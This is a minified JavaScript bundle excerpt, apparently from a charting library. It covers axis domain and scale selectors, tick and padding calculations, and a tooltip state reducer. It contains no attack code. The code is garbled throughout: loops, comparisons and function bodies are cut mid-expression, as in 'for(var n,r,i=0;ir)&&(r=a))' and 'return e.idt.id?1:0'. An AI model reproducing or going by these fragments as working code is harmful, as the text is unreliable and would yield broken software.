h4=(e,t)=>{if(t!=null)switch(e){case"linear":{if(!br(t)){for(var n,r,i=0;ir)&&(r=a))}return n!==void 0&&r!==void 0?[n,r]:void 0}return t}default:return t}};function Y1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function pu(e){for(var t=1;te.cartesianAxis.xAxis[t],Er=(e,t)=>{var n=GI(e,t);return n??x4},v4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:qm,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:$o},XI=(e,t)=>e.cartesianAxis.yAxis[t],Ar=(e,t)=>{var n=XI(e,t);return n??v4},ZI={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},f0=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??ZI},Ge=(e,t,n)=>{switch(t){case"xAxis":return Er(e,n);case"yAxis":return Ar(e,n);case"zAxis":return f0(e,n);case"angleAxis":return o0(e,n);case"radiusAxis":return l0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},QI=(e,t,n)=>{switch(t){case"xAxis":return Er(e,n);case"yAxis":return Ar(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},rs=(e,t,n)=>{switch(t){case"xAxis":return Er(e,n);case"yAxis":return Ar(e,n);case"angleAxis":return o0(e,n);case"radiusAxis":return l0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},g4=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function p0(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var y4=e=>e.graphicalItems.cartesianItems,JI=L([He,qo],p0),m0=(e,t,n)=>e.filter(n).filter(r=>(t==null?void 0:t.includeHidden)===!0?!0:!r.hide),Yo=L([y4,Ge,JI],m0,{memoizeOptions:{resultEqualityCheck:Id}}),b4=L([Yo],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(d0)),w4=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),e7=L([Yo],w4),h0=e=>e.map(t=>t.data).filter(Boolean).flat(1),t7=L([Yo],h0,{memoizeOptions:{resultEqualityCheck:Id}}),x0=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},v0=L([t7,YN],x0),g0=(e,t,n)=>(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Le(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:Le(i,r)}))):e.map(r=>({value:r})),Dd=L([v0,Ge,Yo],g0);function j4(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function tc(e){if(hr(e)||e instanceof Date){var t=Number(e);if(ye(t))return t}}function G1(e){if(Array.isArray(e)){var t=[tc(e[0]),tc(e[1])];return br(t)?t:void 0}var n=tc(e);if(n!=null)return[n,n]}function wr(e){return e.map(tc).filter(Un)}function n7(e,t,n){return!n||typeof t!="number"||Gn(t)?[]:n.length?wr(n.flatMap(r=>{var i=Le(e,r.dataKey),a,o;if(Array.isArray(i)?[a,o]=i:a=o=i,!(!ye(a)||!ye(o)))return[t-a,t+o]})):[]}var ot=e=>{var t=mt(e),n=ns(e);return rs(e,t,n)},Go=L([ot],e=>e==null?void 0:e.dataKey),r7=L([b4,YN,ot],m4),k4=(e,t,n,r)=>{var i={},a=t.reduce((o,l)=>{if(l.stackId==null)return o;var c=o[l.stackId];return c==null&&(c=[]),c.push(l),o[l.stackId]=c,o},i);return Object.fromEntries(Object.entries(a).map(o=>{var[l,c]=o,u=r?[...c].reverse():c,d=u.map(u0);return[l,{stackedData:F6(e,d,n),graphicalItems:u}]}))},N4=L([r7,b4,Ko,s4],k4),S4=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:a}=t;if(r==null&&n!=="zAxis"){var o=H6(e,i,a);if(!(o!=null&&o[0]===0&&o[1]===0))return o}},i7=L([Ge],e=>e.allowDataOverflow),y0=e=>{var t;if(e==null||!("domain"in e))return qm;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=wr(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e==null?void 0:e.domain)!==null&&t!==void 0?t:qm},b0=L([Ge],y0),w0=L([b0,i7],GN),a7=L([N4,Pr,He,w0],S4,{memoizeOptions:{resultEqualityCheck:Ld}}),Rd=e=>e.errorBars,s7=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>j4(n,r)),mu=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var a,o;if(n.length>0&&e.forEach(l=>{n.forEach(c=>{var u,d,f=(u=r[c.id])===null||u===void 0?void 0:u.filter(v=>j4(i,v)),m=Le(l,(d=t.dataKey)!==null&&d!==void 0?d:c.dataKey),h=n7(l,m,f);if(h.length>=2){var x=Math.min(...h),g=Math.max(...h);(a==null||xo)&&(o=g)}var y=G1(m);y!=null&&(a=a==null?y[0]:Math.min(a,y[0]),o=o==null?y[1]:Math.max(o,y[1]))})}),(t==null?void 0:t.dataKey)!=null&&e.forEach(l=>{var c=G1(Le(l,t.dataKey));c!=null&&(a=a==null?c[0]:Math.min(a,c[0]),o=o==null?c[1]:Math.max(o,c[1]))}),ye(a)&&ye(o))return[a,o]},o7=L([v0,Ge,e7,Rd,He],j0,{memoizeOptions:{resultEqualityCheck:Ld}});function l7(e){var{value:t}=e;if(hr(t)||t instanceof Date)return t}var c7=(e,t,n)=>{var r=e.map(l7).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&S5(r))?mN(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},z4=e=>e.referenceElements.dots,is=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),u7=L([z4,He,qo],is),C4=e=>e.referenceElements.areas,d7=L([C4,He,qo],is),P4=e=>e.referenceElements.lines,f7=L([P4,He,qo],is),E4=(e,t)=>{if(e!=null){var n=wr(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},p7=L(u7,He,E4),A4=(e,t)=>{if(e!=null){var n=wr(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},m7=L([d7,He],A4);function h7(e){var t;if(e.x!=null)return wr([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:wr(n)}function x7(e){var t;if(e.y!=null)return wr([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:wr(n)}var _4=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?h7(r):x7(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},v7=L([f7,He],_4),g7=L(p7,v7,m7,(e,t,n)=>mu(e,n,t)),k0=(e,t,n,r,i,a,o,l)=>{if(n!=null)return n;var c=o==="vertical"&&l==="xAxis"||o==="horizontal"&&l==="yAxis",u=c?mu(r,a,i):mu(a,i);return EI(t,u,e.allowDataOverflow)},y7=L([Ge,b0,w0,a7,o7,g7,ze,He],k0,{memoizeOptions:{resultEqualityCheck:Ld}}),b7=[0,1],N0=(e,t,n,r,i,a,o)=>{if(!((e==null||n==null||n.length===0)&&o===void 0)){var{dataKey:l,type:c}=e,u=Jn(t,a);if(u&&l==null){var d;return mN(0,(d=n==null?void 0:n.length)!==null&&d!==void 0?d:0)}return c==="category"?c7(r,e,u):i==="expand"?b7:o}},S0=L([Ge,ze,v0,Dd,Ko,He,y7],N0);function w7(e){return e in Ms}var O4=(e,t,n)=>{if(e!=null){var{scale:r,type:i}=e;if(r==="auto")return i==="category"&&n&&(n.indexOf("LineChart")>=0||n.indexOf("AreaChart")>=0||n.indexOf("ComposedChart")>=0&&!t)?"point":i==="category"?"band":"linear";if(typeof r=="string"){var a="scale".concat(Io(r));return w7(a)?a:"point"}}},fi=L([Ge,g4,i0],O4);function z0(e,t,n,r){if(!(n==null||r==null))return typeof e.scale=="function"?q1(e.scale,n,r):q1(t,n,r)}var C0=(e,t,n)=>{var r=y0(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&br(e))return MI(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&br(e))return LI(e,t.tickCount,t.allowDecimals)}},P0=L([S0,rs,fi],C0),E0=(e,t,n,r)=>{if(r!=="angleAxis"&&(e==null?void 0:e.type)==="number"&&br(t)&&Array.isArray(n)&&n.length>0){var i,a,o=t[0],l=(i=n[0])!==null&&i!==void 0?i:0,c=t[1],u=(a=n[n.length-1])!==null&&a!==void 0?a:0;return[Math.min(o,l),Math.max(c,u)]}return t},j7=L([Ge,S0,P0,He],E0),k7=L(Dd,Ge,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(wr(e.map(f=>f.value))).sort((f,m)=>f-m),i=r[0],a=r[r.length-1];if(i==null||a==null)return 1/0;var o=a-i;if(o===0)return 1/0;for(var l=0;li,(e,t,n,r,i)=>{if(!ye(e))return 0;var a=t==="vertical"?r.height:r.width;if(i==="gap")return e*a/2;if(i==="no-gap"){var o=Zt(n,e*a),l=e*a/2;return l-o-(l-o)/a*o}return 0}),N7=(e,t,n)=>{var r=Er(e,t);return r==null||typeof r.padding!="string"?0:T4(e,"xAxis",t,n,r.padding)},S7=(e,t,n)=>{var r=Ar(e,t);return r==null||typeof r.padding!="string"?0:T4(e,"yAxis",t,n,r.padding)},z7=L(Er,N7,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),C7=L(Ar,S7,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),P7=L([ft,z7,gd,vd,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:a}=r;return i?[a.left,n.width-a.right]:[e.left+t.left,e.left+e.width-t.right]}),E7=L([ft,ze,C7,gd,vd,(e,t,n)=>n],(e,t,n,r,i,a)=>{var{padding:o}=i;return a?[r.height-o.bottom,o.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),Xo=(e,t,n,r)=>{var i;switch(t){case"xAxis":return P7(e,n,r);case"yAxis":return E7(e,n,r);case"zAxis":return(i=f0(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return d4(e);case"radiusAxis":return f4(e,n);default:return}},M4=L([Ge,Xo],Td),A7=L([fi,j7],h4),$d=L([Ge,fi,A7,M4],z0);L([Yo,Rd,He],s7);function L4(e,t){return e.idt.id?1:0}var Bd=(e,t)=>t,Fd=(e,t,n)=>n,_7=L(hd,Bd,Fd,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(L4)),O7=L(xd,Bd,Fd,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(L4)),I4=(e,t)=>({width:e.width,height:t.height}),T7=(e,t)=>{var n=typeof t.width=="number"?t.width:$o;return{width:n,height:e.height}};L(ft,Er,I4);var M7=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},L7=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},I7=L(zr,ft,_7,Bd,Fd,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=I4(t,l);o==null&&(o=M7(t,r,e));var u=r==="top"&&!i||r==="bottom"&&i;a[l.id]=o-Number(u)*c.height,o+=(u?-1:1)*c.height}),a}),D7=L(Sr,ft,O7,Bd,Fd,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=T7(t,l);o==null&&(o=L7(t,r,e));var u=r==="left"&&!i||r==="right"&&i;a[l.id]=o-Number(u)*c.width,o+=(u?-1:1)*c.width}),a}),R7=(e,t)=>{var n=Er(e,t);if(n!=null)return I7(e,n.orientation,n.mirror)};L([ft,Er,R7,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}});var $7=(e,t)=>{var n=Ar(e,t);if(n!=null)return D7(e,n.orientation,n.mirror)};L([ft,Ar,$7,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}});L(ft,Ar,(e,t)=>{var n=typeof t.width=="number"?t.width:$o;return{width:n,height:e.height}});var D4=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:a,dataKey:o}=n,l=Jn(e,r),c=t.map(u=>u.value);if(o&&l&&a==="category"&&i&&S5(c))return c}},A0=L([ze,Dd,Ge,He],D4),R4=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:a}=n,o=Jn(e,r);if(o&&(i==="number"||a!=="auto"))return t.map(l=>l.value)}},_0=L([ze,Dd,rs,He],R4);L([ze,QI,fi,$d,A0,_0,Xo,P0,He],(e,t,n,r,i,a,o,l,c)=>{if(t!=null){var u=Jn(e,c);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:c,categoricalDomain:a,duplicateDomain:i,isCategorical:u,niceTicks:l,range:o,realScaleType:n,scale:r}}});var B7=(e,t,n,r,i,a,o,l,c)=>{if(!(t==null||r==null)){var u=Jn(e,c),{type:d,ticks:f,tickCount:m}=t,h=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,x=d==="category"&&r.bandwidth?r.bandwidth()/h:0;x=c==="angleAxis"&&a!=null&&a.length>=2?It(a[0]-a[1])*2*x:x;var g=f||i;return g?g.map((y,v)=>{var b=o?o.indexOf(y):y,w=r.map(b);return ye(w)?{index:v,coordinate:w+x,value:y,offset:x}:null}).filter(Un):u&&l?l.map((y,v)=>{var b=r.map(y);return ye(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(Un):r.ticks?r.ticks(m).map((y,v)=>{var b=r.map(y);return ye(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(Un):r.domain().map((y,v)=>{var b=r.map(y);return ye(b)?{coordinate:b+x,value:o?o[y]:y,index:v,offset:x}:null}).filter(Un)}};L([ze,rs,fi,$d,P0,Xo,A0,_0,He],B7);var F7=(e,t,n,r,i,a,o)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var l=Jn(e,o),{tickCount:c}=t,u=0;return u=o==="angleAxis"&&(r==null?void 0:r.length)>=2?It(r[0]-r[1])*2*u:u,l&&a?a.map((d,f)=>{var m=n.map(d);return ye(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(Un):n.ticks?n.ticks(c).map((d,f)=>{var m=n.map(d);return ye(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(Un):n.domain().map((d,f)=>{var m=n.map(d);return ye(m)?{coordinate:m+u,value:i?i[d]:d,index:f,offset:u}:null}).filter(Un)}},$4=L([ze,rs,$d,Xo,A0,_0,He],F7),B4=L(Ge,$d,(e,t)=>{if(!(e==null||t==null))return pu(pu({},e),{},{scale:t})}),W7=L([Ge,fi,S0,M4],z0);L((e,t,n)=>f0(e,n),W7,(e,t)=>{if(!(e==null||t==null))return pu(pu({},e),{},{scale:t})});var U7=L([ze,hd,xd],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),F4=e=>e.options.defaultTooltipEventType,W4=e=>e.options.validateTooltipEventTypes;function U4(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function O0(e,t){var n=F4(e),r=W4(e);return U4(t,n,r)}function V7(e){return pe(t=>O0(t,e))}var V4=(e,t)=>{var n,r=Number(t);if(!(Gn(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},H7=e=>e.tooltip.settings,$r={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},K7={itemInteraction:{click:$r,hover:$r},axisInteraction:{click:$r,hover:$r},keyboardInteraction:$r,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},H4=Ut({name:"tooltip",initialState:K7,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:De()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=_n(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:De()},removeTooltipEntrySettings:{reducer(e,t){var n=_n(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:De()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:q7,replaceTooltipEntrySettings:Y7,removeTooltipEntrySettings:G7,setTooltipSettingsState:X7,setActiveMouseOverItemIndex:K4,mouseLeaveItem:Z7,mouseLeaveChart:q4,setActiveClickItemIndex:Q7,setMouseOverAxisIndex:Y4,setMouseClickAxisIndex:J7,setSyncInteraction:Ym,setKeyboardInteraction:Gm}=H4.actions,eD=H4.reducer;function X1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Al(e){for(var t=1;t{if(t==null)return $r;var i=iD(e,t,n);if(i==null)return $r;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var a=e.settings.active===!0;if(aD(i)){if(a)return Al(Al({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return Al(Al({},$r),{},{coordinate:i.coordinate})};function sD(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function oD(e,t){var n=sD(e),r=t[0],i=t[1];if(n===void 0)return!1;var a=Math.min(r,i),o=Math.max(r,i);return n>=a&&n<=o}function lD(e,t,n){if(n==null||t==null)return!0;var r=Le(e,t);return r==null||!br(n)?!0:oD(r,n)}var T0=(e,t,n,r)=>{var i=e==null?void 0:e.index;if(i==null)return null;var a=Number(i);if(!ye(a))return i;var o=0,l=1/0;t.length>0&&(l=t.length-1);var c=Math.max(o,Math.min(a,l)),u=t[c];return u==null||lD(u,n,r)?String(c):null},X4=(e,t,n,r,i,a,o)=>{if(a!=null){var l=o[0],c=l==null?void 0:l.getPosition(a);if(c!=null)return c;var u=i==null?void 0:i[Number(a)];if(u)switch(n){case"horizontal":return{x:u.coordinate,y:(r.top+t)/2};default:return{x:(r.left+e)/2,y:u.coordinate}}}},Z4=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var a=e.tooltipItemPayloads[0];return a!=null?[a]:[]}return e.tooltipItemPayloads.filter(o=>{var l;return((l=o.settings)===null||l===void 0?void 0:l.graphicalItemId)===i})},Q4=e=>e.options.tooltipPayloadSearcher,as=e=>e.tooltip;function Z1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Q1(e){for(var t=1;t{if(!(t==null||a==null)){var{chartData:l,computedData:c,dataStartIndex:u,dataEndIndex:d}=n,f=[];return e.reduce((m,h)=>{var x,{dataDefinedOnItem:g,settings:y}=h,v=fD(g,l),b=Array.isArray(v)?Mk(v,u,d):v,w=(x=y==null?void 0:y.dataKey)!==null&&x!==void 0?x:r,j=y==null?void 0:y.nameKey,k;if(r&&Array.isArray(b)&&!Array.isArray(b[0])&&o==="axis"?k=z5(b,r,i):k=a(b,t,c,j),Array.isArray(k))k.forEach(N=>{var z=Q1(Q1({},y),{},{name:N.name,unit:N.unit,color:void 0,fill:void 0});m.push(sy({tooltipEntrySettings:z,dataKey:N.dataKey,payload:N.payload,value:Le(N.payload,N.dataKey),name:N.name}))});else{var S;m.push(sy({tooltipEntrySettings:y,dataKey:w,payload:k,value:Le(k,w),name:(S=Le(k,j))!==null&&S!==void 0?S:y==null?void 0:y.name}))}return m},f)}},M0=L([ot,g4,i0],O4),pD=L([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),mD=L([mt,ns],p0),ss=L([pD,ot,mD],m0,{memoizeOptions:{resultEqualityCheck:Id}}),hD=L([ss],e=>e.filter(d0)),xD=L([ss],h0,{memoizeOptions:{resultEqualityCheck:Id}}),os=L([xD,Pr],x0),vD=L([hD,Pr,ot],m4),L0=L([os,ot,ss],g0),eS=L([ot],y0),gD=L([ot],e=>e.allowDataOverflow),tS=L([eS,gD],GN),yD=L([ss],e=>e.filter(d0)),bD=L([vD,yD,Ko,s4],k4),wD=L([bD,Pr,mt,tS],S4),jD=L([ss],w4),kD=L([os,ot,jD,Rd,mt],j0,{memoizeOptions:{resultEqualityCheck:Ld}}),ND=L([z4,mt,ns],is),SD=L([ND,mt],E4),zD=L([C4,mt,ns],is),CD=L([zD,mt],A4),PD=L([P4,mt,ns],is),ED=L([PD,mt],_4),AD=L([SD,ED,CD],mu),_D=L([ot,eS,tS,wD,kD,AD,ze,mt],k0),Zo=L([ot,ze,os,L0,Ko,mt,_D],N0),OD=L([Zo,ot,M0],C0),TD=L([ot,Zo,OD,mt],E0),nS=e=>{var t=mt(e),n=ns(e),r=!1;return Xo(e,t,n,r)},rS=L([ot,nS],Td),iS=L([ot,M0,TD,rS],z0),MD=L([ze,L0,ot,mt],D4),LD=L([ze,L0,ot,mt],R4),ID=(e,t,n,r,i,a,o,l)=>{if(t){var{type:c}=t,u=Jn(e,l);if(r){var d=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,f=c==="category"&&r.bandwidth?r.bandwidth()/d:0;return f=l==="angleAxis"&&i!=null&&(i==null?void 0:i.length)>=2?It(i[0]-i[1])*2*f:f,u&&o?o.map((m,h)=>{var x=r.map(m);return ye(x)?{coordinate:x+f,value:m,index:h,offset:f}:null}).filter(Un):r.domain().map((m,h)=>{var x=r.map(m);return ye(x)?{coordinate:x+f,value:a?a[m]:m,index:h,offset:f}:null}).filter(Un)}}},_r=L([ze,ot,M0,iS,nS,MD,LD,mt],ID),I0=L([F4,W4,H7],(e,t,n)=>U4(n.shared,e,t)),aS=e=>e.tooltip.settings.trigger,D0=e=>e.tooltip.settings.defaultIndex,Qo=L([as,I0,aS,D0],G4),Va=L([Qo,os,Go,Zo],T0),sS=L([_r,Va],V4),oS=L([Qo],e=>{if(e)return e.dataKey}),DD=L([Qo],e=>{if(e)return e.graphicalItemId}),lS=L([as,I0,aS,D0],Z4),RD=L([Sr,zr,ze,ft,_r,D0,lS],X4),$D=L([Qo,RD],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),BD=L([Qo],e=>{var t;return(t=e==null?void 0:e.active)!==null&&t!==void 0?t:!1}),FD=L([lS,Va,Pr,Go,sS,Q4,I0],J4),WD=L([FD],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function J1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function eb(e){for(var t=1;tpe(ot),qD=()=>{var e=KD(),t=pe(_r),n=pe(iS);return Kc(!e||!n?void 0:eb(eb({},e),{},{scale:n}),t)};function tb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function na(e){for(var t=1;t{var i=t.find(a=>a&&a.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},QD=(e,t,n,r)=>{var i=t.find(u=>u&&u.index===n);if(i){if(e==="centric"){var a=i.coordinate,{radius:o}=r;return na(na(na({},r),et(r.cx,r.cy,o,a)),{},{angle:a,radius:o})}var l=i.coordinate,{angle:c}=r;return na(na(na({},r),et(r.cx,r.cy,l,c)),{},{angle:c,radius:l})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function JD(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var cS=(e,t,n,r,i)=>{var a,o=(a=t==null?void 0:t.length)!==null&&a!==void 0?a:0;if(o<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var l=0;l0?(c=n[l-1])===null||c===void 0?void 0:c.coordinate:(u=n[o-1])===null||u===void 0?void 0:u.coordinate,x=(d=n[l])===null||d===void 0?void 0:d.coordinate,g=l>=o-1?(f=n[0])===null||f===void 0?void 0:f.coordinate:(m=n[l+1])===null||m===void 0?void 0:m.coordinate,y=void 0;if(!(h==null||x==null||g==null))if(It(x-h)!==It(g-x)){var v=[];if(It(g-x)===It(i[1]-i[0])){y=g;var b=x+i[1]-i[0];v[0]=Math.min(b,(b+h)/2),v[1]=Math.max(b,(b+h)/2)}else{y=h;var w=g+i[1]-i[0];v[0]=Math.min(x,(w+x)/2),v[1]=Math.max(x,(w+x)/2)}var j=[Math.min(x,(y+x)/2),Math.max(x,(y+x)/2)];if(e>j[0]&&e<=j[1]||e>=v[0]&&e<=v[1]){var k;return(k=n[l])===null||k===void 0?void 0:k.index}}else{var S=Math.min(h,g),N=Math.max(h,g);if(e>(S+x)/2&&e<=(N+x)/2){var z;return(z=n[l])===null||z===void 0?void 0:z.index}}}else if(t)for(var 